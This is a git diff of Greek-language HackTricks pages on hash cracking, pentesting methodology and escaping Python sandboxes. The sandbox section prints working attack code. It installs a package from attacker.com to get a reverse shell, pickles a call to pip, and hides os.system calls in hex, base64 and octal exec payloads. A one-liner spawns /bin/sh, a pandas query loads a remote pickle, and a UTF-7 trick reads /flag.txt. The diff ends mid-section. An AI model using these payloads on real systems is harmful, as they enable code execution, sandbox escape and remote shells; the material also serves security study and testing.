|
||||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||||
```
|
```
|
||||||
|
|
||||||
## Αποκωδικοποίηση των Hash των Windows
|
## Αποκωδικοποίηση των Hash των Windows
|
||||||
|
|
||||||
Η αποκωδικοποίηση των hash των Windows μπορεί να γίνει με τη χρήση εργαλείων όπως το John the Ripper, το Hashcat και το Mimikatz. Αυτά τα εργαλεία μπορούν να χρησιμοποιηθούν για να εκτελέσουν επίθεση με brute-force στα hash των Windows, προσπαθώντας να αντιστοιχίσουν το hash με τον πραγματικό κωδικό πρόσβασης. Η επιτυχής αποκωδικοποίηση ενός hash μπορεί να οδηγήσει στην απόκτηση πρόσβασης σε συστήματα Windows χωρίς την ανάγκη για καταστροφικές ενέργειες όπως η επαναφορά κωδικού πρόσβασης.
|
Η αποκωδικοποίηση των hash των Windows μπορεί να γίνει με τη χρήση εργαλείων όπως το John the Ripper, το Hashcat και το Mimikatz. Αυτά τα εργαλεία μπορούν να χρησιμοποιηθούν για να εκτελέσουν επίθεση με brute-force στα hash των Windows, προσπαθώντας να αντιστοιχίσουν το hash με τον πραγματικό κωδικό πρόσβασης. Η επιτυχής αποκωδικοποίηση ενός hash μπορεί να οδηγήσει στην απόκτηση πρόσβασης σε συστήματα Windows χωρίς την ανάγκη για καταστροφικές ενέργειες όπως η επαναφορά κωδικού πρόσβασης.
|
||||||
|
|
||||||
```
|
```
|
||||||
3000 | LM | Operating-Systems
|
3000 | LM | Operating-Systems
|
||||||
1000 | NTLM | Operating-Systems
|
1000 | NTLM | Operating-Systems
|
||||||
```
|
```
|
||||||
|
|
||||||
## Brute Force
|
## Brute Force
|
||||||
|
|
||||||
Brute force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute force attacks can be time-consuming but are effective against weak passwords. There are tools available that can automate the brute force process, such as John the Ripper and Hashcat.
|
Brute force attacks are a common method used to crack hashes. This technique involves trying all possible combinations of characters until the correct one is found. Brute force attacks can be time-consuming but are effective against weak passwords. There are tools available that can automate the brute force process, such as John the Ripper and Hashcat.
|
||||||
|
@ -833,6 +979,7 @@ hashcat -m MODE hashfile
|
||||||
Replace `MODE` with the hash mode you are trying to crack and `hashfile` with the file containing the hash you want to crack.
|
Replace `MODE` with the hash mode you are trying to crack and `hashfile` with the file containing the hash you want to crack.
|
||||||
|
|
||||||
Remember that brute force attacks can be resource-intensive and time-consuming, so it's essential to use them responsibly and with proper authorization.
|
Remember that brute force attacks can be resource-intensive and time-consuming, so it's essential to use them responsibly and with proper authorization.
|
||||||
|
|
||||||
```
|
```
|
||||||
900 | MD4 | Raw Hash
|
900 | MD4 | Raw Hash
|
||||||
0 | MD5 | Raw Hash
|
0 | MD5 | Raw Hash
|
||||||
|
@ -842,6 +989,7 @@ Remember that brute force attacks can be resource-intensive and time-consuming,
|
||||||
1400 | SHA-256 | Raw Hash
|
1400 | SHA-256 | Raw Hash
|
||||||
1700 | SHA-512 | Raw Hash
|
1700 | SHA-512 | Raw Hash
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Ευρεία Αναζήτηση Πηγαίου Κώδικα
|
# Wide Source Code Search
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,14 +9,14 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -38,7 +38,7 @@
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -51,7 +51,7 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Μεθοδολογία Ελέγχου Εισβολής
|
# Pentesting Methodology
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
|
||||||
|
|
||||||
### 0- Φυσικές Επιθέσεις
|
### 0- Φυσικές Επιθέσεις
|
||||||
|
|
||||||
Έχετε **φυσική πρόσβαση** στον υπολογιστή που θέλετε να επιτεθείτε; Θα πρέπει να διαβάσετε μερικά [**κόλπα σχετικά με φυσικές επιθέσεις**](../physical-attacks/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από εφαρμογές GUI**](../physical-attacks/escaping-from-gui-applications/).
|
Έχετε **φυσική πρόσβαση** στον υπολογιστή που θέλετε να επιτεθείτε; Θα πρέπει να διαβάσετε μερικά [**κόλπα σχετικά με φυσικές επιθέσεις**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από εφαρμογές GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||||
|
|
||||||
### 1 - [Ανακάλυψη υπολογιστών μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη Περιουσιακών Στοιχείων της εταιρείας](external-recon-methodology/)
|
### 1 - [Ανακάλυψη υπολογιστών μέσα στο δίκτυο](pentesting-network/#discovering-hosts)/ [Ανακάλυψη Περιουσιακών Στοιχείων της εταιρείας](external-recon-methodology/)
|
||||||
|
|
||||||
|
@ -73,6 +73,7 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
|
||||||
### 6- [Αλισβεύσεις](phishing-methodology/)
|
### 6- [Αλισβεύσεις](phishing-methodology/)
|
||||||
|
|
||||||
Αν μέχρι αυτό το σημείο δεν έχετε βρει κάποια ενδιαφέρουσα ευπάθεια **μπορεί να χρειαστεί να δοκιμάσετε κάποια αλισβεύση** για να μπείτ
|
Αν μέχρι αυτό το σημείο δεν έχετε βρει κάποια ενδιαφέρουσα ευπάθεια **μπορεί να χρειαστεί να δοκιμάσετε κάποια αλισβεύση** για να μπείτ
|
||||||
|
|
||||||
### **10- Ανόρθωση Προνομίων**
|
### **10- Ανόρθωση Προνομίων**
|
||||||
|
|
||||||
#### **10.1- Τοπική Ανόρθωση**
|
#### **10.1- Τοπική Ανόρθωση**
|
||||||
|
@ -81,9 +82,9 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
|
||||||
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανόρθωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανόρθωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||||
Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες για το πώς λειτουργεί το **Windows**:
|
Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες για το πώς λειτουργεί το **Windows**:
|
||||||
|
|
||||||
* [**Ταυτοποίηση, Διαπιστεύσεις, Δικαιώματα διακριτικών και UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
* [**Ταυτοποίηση, Διαπιστεύσεις, Δικαιώματα διακριτικών και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||||
* Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
|
* Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
|
||||||
* Πώς να [**κλέψετε διαπιστεύσεις**](broken-reference/) στα Windows
|
* Πώς να [**κλέψετε διαπιστεύσεις**](https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
|
||||||
* Μερικά κόλπα για το [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
* Μερικά κόλπα για το [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||||
|
|
||||||
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για την απαρίθμηση των διαδρομών Ανόρθωσης Προνομίων σε Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για την απαρίθμηση των διαδρομών Ανόρθωσης Προνομίων σε Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||||
|
@ -97,7 +98,7 @@ _Τα λογότυπα του Hacktricks σχεδιάστηκαν από_ [_@ppi
|
||||||
#### **11.1 - Λεηλασία**
|
#### **11.1 - Λεηλασία**
|
||||||
|
|
||||||
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον υπολογιστή ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
|
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον υπολογιστή ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
|
||||||
Βρείτε εδώ διαφορετικούς τρόπους για το [**ανάκτηση κωδικών στα Windows**](broken-reference/).
|
Βρείτε εδώ διαφορετικούς τρόπους για το [**ανάκτηση κωδικών στα Windows**](https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/broken-reference/README.md).
|
||||||
|
|
||||||
#### 11.2 - Διατήρηση
|
#### 11.2 - Διατήρηση
|
||||||
|
|
||||||
|
@ -119,19 +120,19 @@ TODO: Ολοκληρώστε τη Δημοσίευση Διατήρησης σε
|
||||||
|
|
||||||
#### **Εκμετάλλευση**
|
#### **Εκμετάλλευση**
|
||||||
|
|
||||||
* [**Βασική Εκμετάλλευση Linux**](../exploiting/linux-exploiting-basic-esp/)
|
* [**Βασική Εκμετάλλευση Linux**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
|
||||||
* [**Βασική Εκμετάλλευση Windows**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
* [**Βασική Εκμετάλλευση Windows**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
* [**Βασικά εργαλεία εκμετάλλευσης**](../exploiting/tools/)
|
* [**Βασικά εργαλεία εκμετάλλευσης**](../reversing-and-exploiting/tools/)
|
||||||
|
|
||||||
#### [**Βασική Python**](python/)
|
#### [**Βασική Python**](python/)
|
||||||
|
|
||||||
#### **Κόλπα Κρυπτογραφίας**
|
#### **Κόλπα Κρυπτογραφίας**
|
||||||
|
|
||||||
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
||||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαρτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
|
Αν σας ενδιαφέρει η **καριέρα στο χάκινγκ** και να χακάρετε το αχάκαρτο - **σας προσλαμβάνουμε!** (_απαιτείται άριστη γραπτή και προφορική γνώση της πολωνικής_).
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Παράκαμψη αμμοθολογίων Python
|
# Bypass Python sandboxes
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -16,7 +16,7 @@
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/python/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -27,6 +27,7 @@
|
||||||
## Βιβλιοθήκες Εκτέλεσης Εντολών
|
## Βιβλιοθήκες Εκτέλεσης Εντολών
|
||||||
|
|
||||||
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε κώδικα απευθείας με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
|
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε κώδικα απευθείας με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
os.system("ls")
|
os.system("ls")
|
||||||
os.popen("ls").read()
|
os.popen("ls").read()
|
||||||
|
@ -59,6 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
||||||
execfile('/usr/lib/python2.7/os.py')
|
execfile('/usr/lib/python2.7/os.py')
|
||||||
system('ls')
|
system('ls')
|
||||||
```
|
```
|
||||||
|
|
||||||
Να θυμάστε ότι οι συναρτήσεις _**open**_ και _**read**_ μπορούν να είναι χρήσιμες για το **διάβασμα αρχείων** μέσα στο python sandbox και για το **γράψιμο κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** το sandbox.
|
Να θυμάστε ότι οι συναρτήσεις _**open**_ και _**read**_ μπορούν να είναι χρήσιμες για το **διάβασμα αρχείων** μέσα στο python sandbox και για το **γράψιμο κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** το sandbox.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
|
@ -76,6 +78,7 @@ system('ls')
|
||||||
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||||
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον Python **να εισάγει αυθαίρετες βιβλιοθήκες** που είναι εγκατεστημένες στο σύστημα.\
|
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον Python **να εισάγει αυθαίρετες βιβλιοθήκες** που είναι εγκατεστημένες στο σύστημα.\
|
||||||
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
|
Για παράδειγμα, το ακόλουθο pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Note that here we are importing the pip library so the pickle is created correctly
|
#Note that here we are importing the pip library so the pickle is created correctly
|
||||||
#however, the victim doesn't even need to have the library installed to execute it
|
#however, the victim doesn't even need to have the library installed to execute it
|
||||||
|
@ -88,6 +91,7 @@ return (pip.main,(["list"],))
|
||||||
|
|
||||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||||
```
|
```
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί το pickle, ελέγξτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί το pickle, ελέγξτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||||
|
|
||||||
### Πακέτο Pip
|
### Πακέτο Pip
|
||||||
|
@ -95,10 +99,12 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||||
Κόλπος κοινοποιημένος από τον **@isHaacK**
|
Κόλπος κοινοποιημένος από τον **@isHaacK**
|
||||||
|
|
||||||
Αν έχετε πρόσβαση στο `pip` ή στο `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να λάβετε αντίστροφη κέλυφος καλώντας:
|
Αν έχετε πρόσβαση στο `pip` ή στο `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να λάβετε αντίστροφη κέλυφος καλώντας:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip install http://attacker.com/Rerverse.tar.gz
|
pip install http://attacker.com/Rerverse.tar.gz
|
||||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||||
```
|
```
|
||||||
|
|
||||||
Μπορείτε να κατεβάσετε το πακέτο για τη δημιουργία αντίστροφου κελύφους εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει **να το αποσυμπιέσετε, να αλλάξετε το `setup.py`, και να βάλετε τη διεύθυνση IP σας για το αντίστροφο κελύφωμα**:
|
Μπορείτε να κατεβάσετε το πακέτο για τη δημιουργία αντίστροφου κελύφους εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει **να το αποσυμπιέσετε, να αλλάξετε το `setup.py`, και να βάλετε τη διεύθυνση IP σας για το αντίστροφο κελύφωμα**:
|
||||||
|
|
||||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||||
|
@ -114,6 +120,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Αν απαγορεύονται συγκεκριμένοι χαρακτήρες, μπορείτε να χρησιμοποιήσετε την αναπαράσταση **hex/octal/B64** για να **παρακάμψετε** τον περιορισμό:
|
Αν απαγορεύονται συγκεκριμένοι χαρακτήρες, μπορείτε να χρησιμοποιήσετε την αναπαράσταση **hex/octal/B64** για να **παρακάμψετε** τον περιορισμό:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||||
|
@ -134,7 +141,9 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||||
```
|
```
|
||||||
|
|
||||||
### Άλλες βιβλιοθήκες που επιτρέπουν την αξιολόγηση κώδικα Python
|
### Άλλες βιβλιοθήκες που επιτρέπουν την αξιολόγηση κώδικα Python
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#Pandas
|
#Pandas
|
||||||
import pandas as pd
|
import pandas as pd
|
||||||
|
@ -148,7 +157,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||||
# Like:
|
# Like:
|
||||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||||
```
|
```
|
||||||
|
|
||||||
## Τελεστές και σύντομα κόλπα
|
## Τελεστές και σύντομα κόλπα
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# walrus operator allows generating variable inside a list
|
# walrus operator allows generating variable inside a list
|
||||||
## everything will be executed in order
|
## everything will be executed in order
|
||||||
|
@ -157,9 +168,11 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7)
|
## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7)
|
||||||
|
|
||||||
Στο [**συγκεκριμένο άρθρο**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) χρησιμοποιείται το UTF-7 για τη φόρτωση και εκτέλεση αυθαίρετου κώδικα Python μέσα σε ένα φαινομενικό χώρο ασφαλείας:
|
Στο [**συγκεκριμένο άρθρο**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) χρησιμοποιείται το UTF-7 για τη φόρτωση και εκτέλεση αυθαίρετου κώδικα Python μέσα σε ένα φαινομενικό χώρο ασφαλείας:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
assert b"+AAo-".decode("utf_7") == "\n"
|
assert b"+AAo-".decode("utf_7") == "\n"
|
||||||
|
|
||||||
|
@ -170,6 +183,7 @@ return x
|
||||||
#+AAo-print(open("/flag.txt").read())
|
#+AAo-print(open("/flag.txt").read())
|
||||||
""".lstrip()
|
""".lstrip()
|
||||||
```
|
```
|
||||||
|
|
||||||
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
|
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
|
||||||
|
|
||||||
## Εκτέλεση Python χωρίς κλήσεις
|
## Εκτέλεση Python χωρίς κλήσεις
|
||||||
|
@ -177,6 +191,7 @@ return x
|
||||||
